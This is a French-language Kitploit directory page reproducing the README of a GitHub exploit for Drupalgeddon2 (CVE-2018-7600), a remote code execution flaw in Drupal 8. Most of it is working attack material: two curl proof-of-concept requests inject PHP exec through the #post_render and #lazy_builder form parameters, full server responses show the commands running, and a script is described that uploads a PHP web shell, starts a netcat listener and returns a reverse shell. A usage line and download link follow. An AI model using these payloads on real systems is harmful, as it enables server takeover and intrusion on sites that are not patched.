Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Drupalgeddon2 — CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE | Kitploit
Outils/GitHubGitHub/ruthvikvegunta/drupalgeddon2
Génération de PayloadsAnalyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebTests d'Intrusion
GitHubruthvikvegunta/drupalgeddon2

Drupalgeddon2

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE

Voir le dépôt
42il y a 6 ansPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Inspiré de https://github.com/dreadlocked/Drupalgeddon2


Supporte :

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, ciblant account/mail et le paramètre #post_render, en utilisant la fonction PHP passthru
  • [En attente] [Pas encore codé] Drupal < 7.58 ~ URL user/password, ciblant le formulaire triggering_element_name et le paramètre , en utilisant la fonction PHP
#post_render
passthru
  • Téléverse un shell PHP à la racine web (./), démarre un écouteur netcat, déclenche la charge utile dans un thread séparé et renvoie le shell inverse à l'utilisateur.
  • Prend en charge les cibles Linux
  • Détecte automatiquement Drupal 7 ou Drupal 8
  • PoC #1 - #post_render / account/mail / exec

    • Il utilise l'URL user/register, le paramètre #post_render, cible account/mail, en utilisant la fonction PHP exec.
    root@kitploit:~
      curl -k -i 'http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
        --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
    

    Le serveur répondra avec un code 200 et affichera du JSON. Il PEUT afficher la sortie dans la réponse (comme en exécutant uname -a).

    Exemple

    root@kitploit:~
    [g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
      --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
    HTTP/1.1 200 OK
    Date: Wed, 18 Apr 2018 15:56:29 GMT
    Server: Apache/2.4.7 (Ubuntu)
    X-Powered-By: PHP/5.5.9-1ubuntu4.24
    Cache-Control: must-revalidate, no-cache, private
    X-UA-Compatible: IE=edge
    Content-language: en
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Expires: Sun, 19 Nov 1978 05:00:00 GMT
    X-Generator: Drupal 8 (https://www.drupal.org)
    X-Drupal-Ajax-Token: 1
    Content-Length: 280
    Content-Type: application/json
    
    [{"command":"insert","method":"replaceWith","selector":null,"data":"Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
    [g0tmi1k@attacker]$
    

    PoC #2 - #lazy_builder / timezone/timezone / exec

    • Il utilise l'URL user/register, le paramètre #lazy_builder, cible timezone/timezone, en utilisant la fonction PHP exec.
    root@kitploit:~
      curl -k -i 'http://localhost/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
        --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
    

    Le serveur répondra avec un code 500 et affichera « Le site a rencontré une erreur inattendue. Veuillez réessayer plus tard. » Il n'est PAS capable d'afficher la sortie dans la réponse (Aveugle !).

    Exemple

    root@kitploit:~
    [g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
        --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
    HTTP/1.0 500 500 Service unavailable (with message)
    Date: Wed, 18 Apr 2018 15:58:04 GMT
    Server: Apache/2.4.7 (Ubuntu)
    X-Powered-By: PHP/5.5.9-1ubuntu4.24
    Cache-Control: no-cache, private
    Content-Length: 74
    Connection: close
    Content-Type: text/html
    
    The website encountered an unexpected error. Please try again later.<br />
    [g0tmi1k@attacker]$
    
    
    root@ubuntu140045x64-drupal:~# stat /tmp/2
      File: '/tmp/2'
      Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
    Device: fd01h/64769d	Inode: 59488       Links: 1
    Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
    Access: 2018-04-18 15:58:05.061898957 +0000
    Modify: 2018-04-18 15:58:05.061898957 +0000
    Change: 2018-04-18 15:58:05.061898957 +0000
     Birth: -
    root@ubuntu140045x64-drupal:~#
    

    Utilisation du script :

    Testé sur Drupal 8, la partie Drupal 7 de l'exploit doit encore être codée

    python3 drupalgeddon2.py -t http://xxx.xxx.xxx.xxx -l xxx.xxx.xxx.xxx -p xxxx

    Télécharger l’outil